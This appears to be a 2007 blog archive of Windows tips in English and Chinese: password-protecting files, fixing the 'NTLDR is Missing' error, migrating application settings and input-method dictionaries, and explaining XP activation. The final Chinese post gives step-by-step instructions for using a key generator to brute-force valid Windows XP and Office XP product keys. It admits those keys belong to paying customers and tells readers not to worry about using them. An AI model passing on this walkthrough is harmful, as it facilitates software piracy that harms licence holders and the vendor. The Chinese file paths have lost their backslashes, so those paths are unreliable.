Other security solutions for protecting your files and folders in Windows

File and folders not frequently used

If you need to password protect files and/or folders that you do not frequently use, one of the simplest ways is to compress the folder and files with a compression utility and password protect the compressed file. However, each time you wish to work or modify the files you will need to uncompress the files using the password.

Windows ME, Windows XP users - Microsoft Windows ME and Windows XP come with their own compression utility. This utility can also be used to compress and password protect files.

Tip: When a file is compressed, users can still view a listing of the files in the compressed file. If you wish for both your file names and the contents to be hidden, move all the files into a single folder and password protect that folder.

File and folders frequently used or accessed

If you need to password protect and/or encrypt data you frequently use, you will need to install a third-party program that will enable you to protect your files and folders. Below are some free and commercial solutions.

AxCrypt - An excellent free encryption utility that enables users to encrypt all files within a folder and not allow those files to be viewed unless a passphrase (password) is known.
WinCry - A freeware utility that enables your files to be encrypted, secure deletion, as well as other helpful methods of protecting your files.
Folder Guard - A commercial version of a password protection software that enables you to password protect files, folders, and other Windows resources.
Click here to search for more solutions to password protect files and folders in Windows.

Things to remember when encrypting or password protecting files and folders

There is no such thing as a 100% protected file. There are numerous tools, utilities, and instructions for how to break a lot of the encryption and passwords on files. However, the protection methods listed above will protect your files from the majority of users who may encounter them. If you're working with really sensitive data we suggest a commercial product for protecting your files and data.

Even though a file or folder may be password protected it still can be deleted (unless the program supports the ability to protect files from being deleted). Always remember to backup all your files, even those protected by passwords.

If you forget the password, unless you're willing to spend the time attempting to break it or pay someone else to break the password, all your file data will be lost. Unless you've made a backup of the non-password protected data.

NTLDR is Missing

2007-01-28T17:11:00.000+08:00

Related errors:

Below are the full error messages that may be seen when the computer is booting.

NTLDR is Missing
Press any key to restart

Boot: Couldn't find NTLDR
Please insert another disk

Cause:

Computer is booting from a non-bootable source.
Computer hard disk drive is not properly setup in BIOS.
Corrupt NTLDR and/or NTDETECT.COM file.
Misconfiguration with the boot.ini file.
Attempting to upgrade from a Windows 95, 98, or ME computer that is using FAT32.
New hard disk drive being added.
Corrupt boot sector / master boot record.
Seriously corrupted version of Windows 2000 or Windows XP.
Loose or Faulty IDE/EIDE hard disk drive cable.
Solutions:

Computer is booting from a non-bootable source

Many times this error is caused when the computer is attempting to boot from a non-bootable floppy disk or CD-ROM. First verify that no floppy diskette is in the computer, unless you are attempting to boot from a diskette.

If you are attempting to boot from a floppy diskette and are receiving this error message it is likely that the diskette does not have all the necessary files and/or is corrupt.

If you are attempting to install Windows XP or Windows 2000 and are receiving this error message as the computer is booting verify that your computer BIOS has the proper boot settings. For example, if you are attempting to run the install from the CD-ROM make sure the CD-ROM is the first boot device, and not the hard disk drive.

Second, when the computer is booting you should receive the below prompt.

Press any key to boot from the CD

Important: When you see this message press any key such as the Enter key immediately, otherwise it will try booting from the hard drive and likely get the NTLDR error again.

Note: If you are not receiving the above message and your BIOS boot options are set properly it's also possible that your CD-ROM drive may not be booting from the CD-ROM properly. Verify the jumpers are set properly on the CD-ROM drive. Additional information about checking the CD-ROM drive connections can be found on document CH000213.

Additional information: This error has also been known to occur when a memory stick is in a card reader and the computer is attempting to boot from it. If you have any type of card reader or flash reader make sure that no memory stick is inside the computer.

Computer hard disk drive is not properly setup in BIOS

Verify that your computer hard disk drive is properly setup in the BIOS / CMOS setup. Improper settings can cause this error. Additional information on how to enter the BIOS / CMOS setup can be found in document CH000192.

Corrupt NTLDR and/or NTDETECT.COM file

Windows 2000 users
Windows XP users

Windows 2000 users

If your computer is using Microsoft Windows 2000 and you are encountering the NTLDR error. Create the below boot.ini file on the floppy diskette drive.

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional" /fastdetect

Copy the NTLDR and NTDETECT.COM files from another computer using the same Operating System. Both of these files are located in the root directory of the primary hard disk drive. For example, C:\NTLDR and C:\NTDETECT.COM should be the locations of these files on many computers.

Please keep in mind that these files are hidden system files, if you need additional help with viewing hidden files in Windows please see document CH000516.
Once these files have been copied to a floppy diskette reboot the computer and copy the NTLDR and NTDETECT.COM files to the root directory of the primary hard disk drive. Below is an example of what commonly should be performed from the A:\> drive.

copy ntldr c:
copy ntdetect.com c:

After the above two files have been copied, remove the floppy diskette and reboot the computer.

Windows XP users

Insert the Windows XP bootable CD into the computer.
When prompted to press any key to boot from the CD, press any key.
Once in the Windows XP setup menu press the "R" key to repair Windows.
Log into your Windows installation by pressing the "1" key and pressing enter.
You will then be prompted for your administrator password, enter that password.
Copy the below two files to the root directory of the primary hard disk. In the below example we are copying these files from the CD-ROM drive letter "E". This letter may be different on your computer.

copy e:\i386\ntldr c:\
copy e:\i386\ntdetect.com c:\

Once both of these files have been successfully copied, remove the CD from the computer and reboot.
Misconfiguration with the boot.ini file

Edit the boot.ini on the root directory of the hard disk drive and verify that it is pointing to the correct location of your Windows Operating System and that the partitions are properly defined. Additional information about the boot.ini can be found on document CH000492.

Attempting to upgrade from a Windows 95, 98, or ME computer that is using FAT32

If you are getting this error message while you are attempting to upgrade to Windows 2000 or Windows XP from Windows 95, Windows 98, or Windows ME running FAT32 please try the below recommendations.

Boot the computer with a Windows 95, Windows 98 or Windows ME bootable diskette.
At the A:\> prompt type:

sys c:

After pressing enter you should receive the "System Transferred" message. Once this has been completed remove the floppy diskette and reboot the computer.
New hard disk drive being added

If you are attempting to add a new hard disk drive to the computer make sure that drive is a blank drive. Adding a new hard disk drive to a computer that already has Windows installed on it may cause the NTLDR error to occur.

If you are unsure if the new drive is blank or not try booting from a bootable diskette and format the new hard disk drive.

Corrupt boot sector / master boot record

It's possible your computer's hard disk drive may have a corrupt boot sector and/or master boot record. These can be repaired through the Microsoft Windows Recovery console by running the fixboot and fixmbr commands.

Additional information and help in getting into the Microsoft Windows Recovery console can be found on document CH000627.

Seriously corrupted version of Windows 2000 or Windows XP

If you have tried each of the above recommendations that apply to your situation and you continue to experience this issue it is possible you may have a seriously corrupted version of Microsoft Windows. Therefore we would recommend you reinstall Microsoft Windows 2000 and Windows XP.

If you are encountering this issue during your setup you may wish to completely erase your computer hard disk drive and all of its existing data and then install Microsoft Windows 2000 / Windows XP. Additional information about erasing the computer and starting over can be found on document CH000186.

Loose or Faulty IDE/EIDE hard disk drive cable

This issue has been known to be caused by a loose or fault IDE/EIDE cable. If the above recommendation does not resolve your issue and your computer hard disk drive is using an IDE or EIDE interface. Verify the computer hard disk drive cable is firmly connected by disconnected and reconnecting the cable.

If the issue continues it is also a possibility that the computer has a faulty cable, try replacing the hard disk drive cable with another cable and/or a new cable.

数据大迁移　WinXP下软件乾坤大挪移

2007-01-28T14:02:00.002+08:00

硬盘越来越大，价格越来越便宜。拿到一块大硬盘后安装新系统，如果想转移旧系统下的数据，我们只要把资料作一些备份，就可以很好地迁移这些数据。

　　Windows XP的设置

　　Windows XP中的设置转移有两种方法，一是使用Ghost克隆整个分区，有关它的使用方法，在此不再赘述。我们如果大家不想这样做，那只要单击Windows XP中“开始”|“Windows 文件和设置迁移向导”程序，通过它就可以把Windows XP中的所有设置备份到文件中（如图1），待其他电脑上安装完Windows XP后，只要同样运行这个程序，再选择恢复，就可以把原先电脑上Windows XP中的设置恢复到当前电脑上了。

　提示：

　　如果大家在电脑上没有找到这个程序，可以打开Windows XP的安装光盘，并找到SUPPORTTOOLS下FASTWIZ.EXE文件，双击后即可运行；

　　此程序不仅仅能够运行在Windows XP上，据笔者试验，发现它完全可以在Windows 2000下正常工作。通过它，我们也可以把Windows上的设置迁移到另外一台电脑上。

　　Windows 9x/Me中没有提供类似的工具，不过大家可以用Ghost进行备份。

　　如果你的电脑上安装的程序较多，那收集时可能速度会慢一些，大家要有一些耐心。

　　Office 2000/XP中的资料

　　Office 2000/XP中要迁移的内容主要包括模板、自动更正和自己的设置。

　　如果使用Windows 9x/Me系统，模板文件存放在C:WindowsApplication DataMicrosoftTemplates文件夹下；在Windows 2000/XP中，该文件位于C:Documents and Settings用户名Application DataMicrosoftTemplates文件夹下。大家只要把它们找到，拷贝到临时文件夹下即可。

　　Office XP自动更正文件是MSO.ACL，它存放在C:Program FilesMicrosoft OfficeOffice102052和C:Program FilesMicrosoft OfficeOffice101033文件夹下。

　　Office 2000自动更正文件则存放在C:Program FilesMicrosoft OfficeOffice1033和C:Program FilesMicrosoft OfficeOffice2052文件夹下。

　　大家同样只要把这两个文件拷贝出来，等重新安装系统后，再把它们拷贝到上述文件夹下即可。
　　另外，我们也可以从http://support.microsoft.com/default.aspx?scid=http://download.microsoft.com/download/word2002/utility/1.0/w98nt42kmexp/en-us/Support.exe上下载到一个Word 2002 Support Template的模板，通过它来备份Office中的自动更正文件：双击下载后的support.exe的可执行文件，单击“浏览”按钮选择一个文件夹，如C:Temp，然后进入C:Temp文件夹下，双击setup.exe进行安装。安装完成后，选择“开始”|“程序”|“Microsoft Office Tools”|“Word 2002 Support Template”命令即可让Word XP打开该模板。选择Alt+F8打开宏窗口，再选中AutoCorrect Backup项，然后单击“运行”按钮，按下Backup按钮就可以把当前自动更正信息备份到一个默认为AutoCorrect Backup Document.doc的文件中。而按下Restore按钮则可以从文件中恢复。此法对于Office 2000和Office XP都是通用的。

　　如果我们使用Office XP，要迁移设置文件相对容易得多：选择“开始”|“程序”|“Microsoft Office 工具”|“用户设置保存向导”命令即可启动“用户设置保存向导”，通过它可以很方便地把本机Office XP当前设置保存到配置文件中，也可以从中恢复。
　　如果我们使用的是Office 2000，可以从http://download.microsoft.com/download/office2000pro/savemyi/2000/WIN98/EN-US/savemyi.exe上下载微软为Office 2000设计的Save My Settings Wizard。安装后，只要选择“开始”|“程序”|“Microsoft Office Tools”|“Save My Settings Wizard”命令即可启动Save My Settings Wizard向导。它的使用方法很简单，只是与Office XP中的设置相比是英文界面而已。

　　通过这两个向导，我们还可以把设置保存到网络上，这样出差在外时，就可以通过它把这些设置下载到电脑中，让我们在哪里都能使用自己的设置，提高工作效率。

Outlook Express信息

　　Outlook Express中涉及的如账户信息、地址薄文件、邮件内容文件都位于不同的文件夹下，备份起来也相对麻烦。不过，大家可以从http://download.pchome.net/php/download2.php?sid=8401&url=/system/backup/OEBackup.exe&svr=3上下载一个为OE设计的备份工具。如果不太喜欢英文界面，也可以从http://download.pchome.net/php/download2.php?sid=8510&url=/system/backup/HB_OEBackup_Bmxboy.exe&svr=3处下载它的汉化包。下载安装并汉化后，双击桌面上“Outlook Express Backup”快捷图标即可运行。由于是共享软件，所以在第一次运行时会出现注册界面，按下“Try It”按钮继续，出现如图2所示窗口，然后选择“立即备份”按钮，即可出现如图3所示窗口，其中包括Outlook的本地文件夹、Windows 通讯薄、Outlook Express账户、Outlook Express 规则、签名和Stationery（信纸）甚至收藏夹等项目，一般情况下都全部选中并备份它们。这个软件上手很快，相信很多人都可以很快上手，通过向导可以很容易把我们OE中的信息保存到硬盘上。

提示：

　　如果我们OE中创建了多个标识，那也可以点击图3“更换标识”按钮来选择不同的标识，并对每一个标识下的OE信息进行备份。

　　默认情况下，该程序会把OE中的信息保存到C:Documents and SettingsAdministratorMy DocumentsMy Outlook BackupOutlook Express Backup文件夹下。但也可以自行更改保存路径。

　　如果我们要恢复备份文件，那只要重新开启这个程序，然后在打开的窗口中选择“立即恢复”按钮，然后在打开的窗口中选择一下上次备份文件，再单击“恢复”按钮即可恢复，非常简单。当然，也可以选择“计划备份”按钮来定时备份Outlook Express中的信息，这样就更加保险了。

Outlook 2003/XP信息

　　Outlook 2003/XP的信息存放在一个PST文件中，我们可以从http://www.microsoft.com/downloads/details.aspx?FamilyID=8b081f3a-b7d0-4b16-b8af-5a6322f4fd01&displaylang=en上下载Outlook 2003 Add-in: Personal Folders Backup来为我们帮忙。通过它可以把Outlook 2003/XP中的所有信息，包括信件（收件箱、发件箱、已发送邮件、已删除邮件）、联系人等都备份出来，还允许备份多个标识中的信息，也允许定时备份这些信息。

　　提示：

　　Outlook 2003 Add-in: Personal Folders Backup不仅能够备份Outlook 2003中的内容，还能够备份Outlook XP中的内容。它是一款免费软件，值得一试。

　　当然，也可以从ftp://ftp1.mydown.com/home1/soft32/O2Backup.exe上下载Outlook 2000/XP Backup工具。它的使用和Outlook Express Backup基本相同：安装完成后，选择“开始”|“程序”|“Genie-Soft”|“Outlook 2000 XP Backup”项目即可启动，点击“Backup Now”按钮即可备份，而按下“Restore Now”可以从备份文件中恢复。其他的操作和Outlook Express Backup大同小异。不过，Outlook 2000/XP中要备份的数据更多，所以在备份画面中出现的项目可能要较Outlook Express备份信息多一些，大家要做的就是把它们全部选中，即可备份出所有内容了。

即时通讯消息的迁移

　　MSN Messenger迁移

　　MSN Messenger中分组信息也放在服务器上，大家不必备份。默认情况下MSN Messenger无法备份聊天记录。但可以从http://download.pchome.net/php/download2.php?sid=11280&url=/internet/communications/message/msnhelper_cn103b20309.exe&svr=3上下载MSN Helper for MSN Messenger插件。安装插件后，我们在MSN上和所有联系人的交谈都会保存到C:Program FilesMSNHelper的Logs文件夹下。只要把Logs文件夹先备份一下。在别的电脑上安装MSN Helper for MSN Messenger插件，并将Logs文件夹拷贝到C:Program FilesMSNHelper下即可。

　　通过MSN传递的文件默认存放在C:Documents and SettingsProfileMy DocumentsMy Received Files文件夹下（如你是系统管理员，则它们被默认存放在C:Documents and SettingsAdministratorMy DocumentsMy Received Files文件夹下。），也可以把它们拷贝出来。

　　ICQ迁移

　　要迁移ICQ中的信息，只要打开C:Program FilesICQ文件夹，并备份该文件夹下的2002a和UIN文件夹即可。重新安装ICQ时再把这两个文件夹拷贝到C:Program FilesICQ下，之后启动ICQ就可以了，其中的对话记录和自己ICQ设置（包括热键和工具条设置等）都会完好如初。

　　提示：

　　ICQ会把分组信息保存在ICQ服务器上，因此对于ICQ中的好友分组信息，我们没有必要备份。它在登录ICQ时会自动从服务器上取回。

　　如果通过ICQ共享了文件，那它们放在C:Program FilesICQshared files文件夹下，使用ICQ接收的文件则存放在C:Program FilesICQReceived Files文件夹下。如有必要，也必须把它们一起备份。

　　注册信息及软件设置的备份

　　软件的一些注册信息及软件设置一般存放在注册表中，下面把键值告诉大家，可以把它们一一导出，。大多数在[HKEY_CURRENT_USERSoftware]下以软件公司为名的子键下。只要把该键值导出为一REG文件，以后重新安装时，只要双击REG文件导入就可以把软件的注册信息和软件设置导入了。比如，想备份MSN Messenger中的设置信息，则只要打开“注册表编辑器”，把[HKEY_CURRENT_USERSoftwareMicrosoftMessengerService]键下所有信息导出REG文件，只要双击这个REG文件即可导入，就可使用原先电脑上MSN Messenger的设置。

提示：

　　备份出来的注册信息，最好只供自己个人使用。

　　有一些软件的注册信息并不存放在注册表中，它们以文件的形式保存在软件安装文件夹中。如WinRAR的注册文件就在其安装文件夹下的Rarreg.key文件中；Hypersnap-DX则放在安装文件夹下的HprSnap.hs4lic文件中；UltraEdit的注册文件放在安装文件夹下的uedit.reg文件中等。因此如果有必要，必须另行备份。

词库文件的迁移

　　给自己使用的中文输入法增加词组是一个提高打字速度很好的方法。不过，很多输入法都把词组嵌入在Windows系统中，一旦重新安装系统，我们自己定义的词组将会不再存在！重新造词会非常麻烦。笔者几种常用输入法的迁移方法列出，以方便大家迁移自己的词组文件。

　　智能狂拼输入法

　　《智能狂拼》的词库（其实也就是用户智能数据库文件）存放在C:Documents and Settings用户名Application DataCStarCSIMEuserpy.dat下，大家只要把这个文件备份一下，重新安装《智能狂拼》后，再把它拷贝到这个文件夹下即可。

微软拼音输入法

　　微软拼音输入法比较特殊，它的词组所在文件较多，文件夹也不尽相同。比较保险的方法是把C:WINNTsystem32IMEPINTLGNT文件夹备份一下，重新安装系统后，再把它们拷贝到相应的文件夹下即可。

　　拼音加加

　　拼音加加支持全拼、双拼、简拼、声母拼词、即时造词、频度调整、模糊音设置等，很受国人的喜爱。要备份拼音加加中的设置，请单击拼音加加状态条，选择“管理工具”|“词库管理工具”命令，并在打开的“词库工具”对话框中单击“导出词条”按钮，拼音加加就会把词库中的词组保存为一个文本文件。以后要恢复词库，只要同样选择“管理工具”|“词库管理工具”命令，然后单击“导入词条”命令，再选择上次保存的文本文件即可。

　　紫光拼音

　　紫光拼音输入法会根据每个使用者，在第一次使用时生成对应的用户词库文件，在Windows 9x/Me中，该文件为C:WindowsApplication DataunispimUSERWL.DAT，在Windows 2000/NT/XP则存放在C:Documents and Settings用户名Application DataunispimUSERWL.DAT文件中（如Administrator用户的词库文件为C:Documents and SettingsadministratorApplication DataUnispimUSRWL.DAT）。

将这个文件备份，安装紫光拼音后再拷贝到相应文件夹下即可。

　　一般五笔字型

　　五笔字型录入速度较快，很多人员都使用。一般五笔输入法自定义词组文件放在输入法文件名.emb中，如我们的五笔输入法码表文件为wbx86，那其自定义词组就放在C:WINDOWSSYSTEM文件夹下的wbx86.emb中，我们只要把这个文件备份一下就可以了。

　　提示：由于现在五笔输入法较多，有的输入法的文件名不一定是wbx86，词库文件极有可能在win86wb.emb、wbx2k.emb文件中。可以搜索系统所有分区，并查找扩展名为emb文件。然后把它们备份出来，以后再拷贝到相应文件夹就可以了。

　　智能五笔

　　尽管智能五笔输入法中的词组很多，但是她还是允许我们自己造词，以满足不同的需要。不过，我们仍可以右击“智能五笔”输入条，然后选择“辅助功能”|“备份和恢复”|“备份词库文件”命令来备份智能五笔输入法词库，以后重新安装后，只要选择“辅助功能” |“备份和恢复”|“恢复词库文件”命令，再选择先前备份的词库文件即可。

　　万能五笔输入法

　　万能五笔的词组放在其安装文件夹下的WNB.CZ文件中（一般在C:!WNM文件夹下，而且它是文本文件），只要把这个文件备份一下，在重新安装系统后直接将备份的文件拷贝到万能五笔输入法安装文件夹下即可恢复先前的词组了。

　　提示：如果使用2002年的万能五笔输入法，其中的词组已经很多了，一般无需再备份或迁移。

　　五笔加加

　　五笔加加是继拼音加加之后推出的姊妹产品，使用的人也很多。它的词组备份和恢复方法和拼音加加有很多相似之处：单击五笔加加输入条，然后选择“管理工具”|“生成备份文件”命令即可将当前五笔加加用户词库、自定义编码以及设置选项全部保存为一个文件，以后只要选择“管理工具”|“从备份文件恢复”命令，再选择并导入一下先前保存设置文件即可，非常方便。

Windows XP操作系统激活完全手册

2007-01-28T14:02:00.001+08:00

大家都知道微软对于Windows操作系统的使用许可一直都有一个限制:一套经过合法授权的Windows操作系统副本只能被安装在一台电脑上，但是事实上很多人都没有遵守这种限制，而激活技术也就是用来保证一个授权只能被安装在一台电脑上的一种手段。因此，我们安装了Windows XP的30天之内，如果想继续使用Windows XP就必须激活它。在激活的过程中，系统会结合硬件的详细配置和安装操作系统后生成的PID(Product ID，产品ID)号码，然后根据哈西算法生成一串代码，而我们需要通过把这个代码通过互联网或者电话告诉微软，微软会返回给我们另一个新的号码，用这个号码就可以成功激活Windows XP。

　　如果不及时激活，过期后Windows XP将无法使用。在以后启动电脑时，Windows就会把当前正在使用的硬件设备跟激活时所用的硬件设备进行比对，如果硬件设备有很大的变化，我们就不能继续使用我们的Windows XP了，除非我们能跟微软联系，并重新激活。而对于购买的品牌机情况就不同了。一般品牌机在出厂前都预装了OEM版的Windows XP操作系统，并且已经成功激活。这种版本的系统激活则是根据BIOS决定的。我们可以更换任意的硬件，而都不需要再次激活。下面我们还是来看看激活到底是怎么因事情吧!

　　何谓产品激活?

　　Microsoft产品激活服务是一种旨在验证软件产品具备合法许可授权的反非正版技术。
　　激活技术将会检查哪几种硬件

　　激活技术会检查10种硬件,分别是:

　　显卡，SCSI适配器，IDE控制器，网卡及其MAC地址，内存范围，处理器类型，处理器序列号，硬盘，卷序号，光盘驱动器。

　　在安装操作系统过程中，安装程序就会检查以上的硬件，并记录下相应的数据，并保存在硬盘上，其实就是WPA.dbl文件。在以后激活过程中，这个号码和PID 会被用来生成一个25位的字符串，并发送出去。而如果我们安装的是集成了SP1的Windows XP，或者在装好XP后先装了SP1再激活，那么在激活过程中还需要发送产品密钥给微软，这将会屏蔽掉一些网络上流传广泛的泄漏出来的产品密钥，使得用这些序列号安装的产品无法被激活。在以后Windows每次启动时，都会重复检查这些硬件，以确保Windows是在同一台电脑上运行。同样的，如果我们格式化了硬盘并重新安装Windows XP，我们就需要再次激活，因为之前保存在硬盘上的激活号码已经没有了(也就是Windowssystem32WPA.dbl文件没有了)，我们要重新取得。

　　怎样备份激活信息

　　将system32文件夹下的wpa.dbl和wpa.bak两个文件备份出来，同时也要将安装CDKEY备份起来，以后重装时用这个CDKEY安装好系统后，直接将两个文件复制进system32文件夹下就可以激活Windows XP了。需要注意的是，这样备份的激活信息只对安装信息完全一样的系统才有效，比如说硬件环境不变，硬盘分区不变等。强调一下:不同的CDKEY激活的 wpa.dbl 是不同的，不要混用。

　　Microsoft激活技术工作原理?

　　产品激活技术通过对随产品安装介质一同提供且使用次数尚未超过软件产品终端用户许可协议(EULA)规定范围的软件产品密钥加以验证的方式进行工作。通常情况下，Windows XP可以在一台PC上进行安装，Office XP可以在一台PC以及这台PC用户的笔记本电脑上进行安装。(如需进一步了解详细信息，请查看随产品一同提供的EULA)。在激活过程中，以产品标识形式提供的产品密钥信息将随“硬件杂凑代码”(一种根据PC硬件配置方式生成的不唯一数字编码)一道发送至Microsoft公司的产品激活系统。在Windows XP SP1中，产品密钥本身也将随产品标识一同发送。激活操作既可通过Internet直接完成，也可通过拨打客户服务电话的方式加以完成。使用相同产品密钥在同一台PC上的激活次数将不受限制。通过限制特定产品密钥允许在不同PC上的激活次数，产品激活技术有效打击了软件非正版行为。

　　如何才能确定我所安装的产品是否已经激活?

　　在所有Office XP家族产品中，用户均可从帮助“菜单”中选择“激活产品”以确定目前的激活状态。在Windows操作系统中，用户可以依次选择“开始”、“程序”、“附件”、“系统工具”、“激活产品”以确定激活状态。

　　如果通过Internet连接产品激活服务?

　　对于Office XP家族产品而言，通过Internet进行激活要求用户具备属于自己的Internet服务提供商(ISP)连接。那些不具备ISP连接的用户则必须通过呼叫客户服务代表的方式完成激活操作。对于Windows XP操作系统而言，不具备ISP连接的用户可以通过Microsoft的ISP网络进行激活。那些不具备ISP连接且无法使用Microsoft ISP网络的用户则只能通过呼叫客户服务代表的方式来完成激活操作。

　　Windows XP官方激活

　　保护知识产权并减少软件非正版现象是 Microsoft 的义务。在经济环节中的每一个厂商-不只是软件生产商-都深受软件非正版之害，包括零售商、支持提供商，还有作为最终用户的您。正版 Microsoft 软件可保证高质量，无病毒，而非正版软件则不然。

　　Windows XP 零售产品中包含一项基于软件的产品激活技术，这意味着您需要激活您的 Windows XP 才可以使用它。某些新的预装了 Windows XP 的 PC 也需要激活。如果您的组织是通过 Microsoft 的批量许可证协议计划，如 Open License 和 Select License，来获得 Windows XP 的使用许可的，则您不需要激活这些 Windows XP 许可证。

　　产品激活技术介绍

　　Microsoft Product Activation 是一项防非正版技术，用来验证软件产品是否有合法的使用许可。它的目的在于减少随便复制这一形式的非正版。激活还有助于防止进行硬盘驱动器复制。激活过程快速、简单而且不公开，能保护您的隐私。

　　产品激活的原理是，它验证软件程序的产品密钥是否未在多于软件许可证上所规定数目的个人计算机上使用。您必须使用产品密钥以安装此软件，然后产品密钥就转换成了安装 ID 号。您可以使用激活向导将此安装 ID 编号提供给 Microsoft，可以通过 Internet 安全传输，或者也可以通过电话提供此编号。接着就会有一个确认 ID 发送回您的计算机，激活您的软件产品。

　　安装 ID 号包括一个加密形式的产品 ID 和一个硬件散列值或校验和，不包括，也不需要任何个人标识数据。确认 ID 只是一个用于在此特定 PC 上安装 Windows XP 的解锁编码。

　　如果您大修计算机，更换了相当数目的硬件，则它可能显示为另一台 PC。这时您可能必须重新激活 Windows XP。如果出现这种情况，您可以拨打激活屏幕上显示的电话号码以重新激活该软件。
Windows XP的几种激活方法

　　立即激活 Windows XP

　　如果您还没有激活 Windows XP，则在 30 天的激活宽限期内，每次登录时都会这样提示您，而且此提示还会以固定的时间间隔出现。如果在此时间段内您未激活 Windows XP，那么如果想继续使用此软件，则必须进行激活操作。

　　如果您选择通过 Internet 来激活您的产品，一俟提交安装 ID，激活向导就会检测到您的 Internet 连接并连接到一个安全的服务器，将您的安装 ID 发送给 Microsoft。一个确认 ID 会发送回您的计算机，自动激活 Windows XP。此过程一般只需要几秒钟即可完成。激活 Windows XP 不需要任何个人标识信息。

　　如想通过电话来激活 Windows XP，则您只需要拨打屏幕上显示的免费*电话号码就行了。客户服务代表会向您要显示在同一屏幕上的安装 ID 号，并将它输入到一个安全数据库中，然后给您返回一个确认 ID。一旦将确认 ID 键入，激活过程就完成了。

　　产品注册

　　产品激活与产品注册不是同一回事。如前所述，产品激活是必要的，而且是以匿名方式完成的。而产品注册则完全是可选的。您可以选择提供您的个人信息，如电子邮件地址，以进行产品注册。注册后您可以直接从 Microsoft 接收到关于产品更新的信息和一些特殊提供的优惠。所有注册信息的提供和存储过程都是安全的，任何信息都不会借出或卖给第三方。

　　如何通过Unattended.txt文件激活Windows XP

　　使用应答文件

　　系统管理员可以使用应答文件来激活Windows XP，应答文件可以配合安装程序一起使用，以绕过常规安装程序提示信息。应答文件可以通过任意一种文本编辑器或包含在Windows NT?和Windows 2000资源工具包中的Setup Manager(安装管理器)进行修改。

　　如需通过无需人为干预的安装过程激活Windows XP，请在Unattended.txt或应答文件Winnt.sif中添加以下信息:

　　在Unattended部分中，输入AutoActivate = Yes。

　　在UserData部分中，输入ProductID = <您的产品编号> [您的产品编号位于防伪标签(COA)上]。

　　说明:为激活由每一套Windows XP零售产品安装的系统，您必须拥有一个唯一的产品标识。

　　如果Internet连接是通过代理服务器实现的，请在Unattend.txt文件或应答文件Winnt.sif中指定代理服务器设置。

　　在Unattended部分中，输入ActivateProxy=Proxy。

　　在Proxy区域内输入计算机所使用的代理服务器设置。

　　其它激活方法

　　要想完美激活Windows XP，真正享受免费在线更新，最简单的办法就是——买正版。呵呵~开个玩笑，活跃一下气氛。朋友们，请往下仔细看，你即将拥有一个正版Windows XP操作系统。

　　要实现完美激活，就必须采用原版Windows XP安装程序来安装操作系统。现在市面上出售的非正版Windows XP安装光盘，为了方便使用者，都是免激活的或是通过破解来激活的，诸如:神州免激活版、VLK版、俄罗斯破解版等等，

　　这些版本的Windows XP的安装文件是被修改过的，在安装过程中，在C盘系统文件夹中加入了破解文件，然后采用特定的激活方式来激活Windows，这种激活是一种假激活，只是通过修改注册表和文件的方式来欺骗安装好的Windows操作系统，让系统不再提示30天使用期限，而更新也只能更新一些无关痛痒的补丁，而且其中一些版本必须使用规定的CD-KEY来安装，要不然就不能激活。就是联想破解版，也得修改主板的信息，才能正常安装和激活。

　　我们都知道，一套正版软件，其实就是CD-KEY最值钱，正版用户花高价格买的也就是CD-KEY，也就是说，如果你拥有一个让Microsoft承认的合法CD-KEY，那么你就可以完美激活你的Windows XP，并享受在线更新，那么怎么获得这个CD-KEY呢?你要是想不花钱让Microsoft送你一个肯定是不行啦，这个CD-KEY可值1700元哦，它可没这么大方，呵呵~还是自己辛苦点，用算号器算吧，我们可以用XP专用算号器来算Windows XP的正版CD-KEY，XP专用算号器是根据你的机器的配置随机来算号的，不同配置的机器算出来的CD-KEY是不一样的，同一台机器每次运行算出来的CD-KEY也是不一样的。

　　Microsoft的激活技术做得比较好，同样的CD-KEY如果安装在很多台配置不同的机器上，那么这个CD-KEY就会被封掉，所以用XP专用算号器来算号不仅可以保证你算出来的CD-KEY可以顺利激活，也保证了正版用户的号不会被封，因为你算出来的CD-KEY有个正版用户正用着呢，别人可是花了1700买的咯，如果用的人多了，这个号被封杀，正版用户可以通过拨打800免费电话再申请一个CD-KEY，你就不行了。所以算号的朋友也不要有顾虑，只要是算出来的CD-KEY，就不会跟太多人重复。

　　具体使用步骤吧:

　　1、我们首先运行XP专用算号器，在“软件”中选择“Windows XP PRO”，也就是Windows XP专业版，同样，如果你是算Windows XP家庭版的CD-KEY，就选择“Windows XP Home”，，算OEM版也是一样的道理，这个东东还可以验算Office XP的CD-KEY，很不错哦~，在“模式”中选择“查找序号”然后定义2个值:“欲验算的CD-KEY的数量”和“需要的有效CD-KEY的数量”，按照2%~3%来推算，如果要算出20个有效CD-KEY，需要验算1000次左右(随机的，看运气)，那么我们就在“要探测的总数”中填入1000，“需要几个有效号”的值可以填大点，填100吧，这是一个“或”逻辑关系，只要满足一项，检测就将停止，因为有时候可能出现一分钟就算出2个有效号的可能性，我就碰到过，所以上面我说，平均9分钟算出一个，如果你运气好，20个CD-KEY一个小时就可以搞定，这两个值定义好以后，再把“在日志中文件中保存找到的序号”这个选项点上勾，再点“开始”就可以了，慢慢等吧，这时除非你的机器支持HT技术，要不然你最好别再用机器干别的工作，因为再运行其他程序实在是太慢了，你用起来也郁闷，而且还影响算号的速度，建议晚上睡觉之前开着机器算，如果你的配置够好或是跟我的配置相当，干脆定义成验算2000个CD-KEY，多留几个当备用，以防万一。要是半夜起床上厕所，发现已经算出20个有效CD-KEY，觉得够用了，你也可以自行停止检测。

